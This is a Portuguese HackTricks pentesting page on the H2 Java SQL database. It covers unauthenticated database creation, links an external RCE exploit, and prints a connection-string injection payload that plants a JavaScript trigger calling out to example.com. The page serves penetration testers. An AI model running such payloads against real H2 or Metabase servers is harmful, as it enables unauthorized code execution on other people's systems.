hacktricks/network-services-pentesting/pentesting-web/h2-java-sql-database.md

4.6 KiB

H2 - Banco de dados SQL Java

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Página oficial: https://www.h2database.com/html/main.html

Acesso

Você pode indicar um nome de banco de dados inexistente para criar um novo banco de dados sem credenciais válidas (não autenticado):

Ou se você souber que, por exemplo, um mysql está em execução e conhecer o nome do banco de dados e as credenciais para esse banco de dados, você pode simplesmente acessá-lo:

Truque da caixa Hawk do HTB.

RCE

Tendo acesso para se comunicar com o banco de dados H2, verifique essa exploração para obter RCE nele: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

Injeção de SQL H2 para RCE

Neste post, um payload é explicado para obter RCE via um banco de dados H2 abusando de uma injeção de SQL.

[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥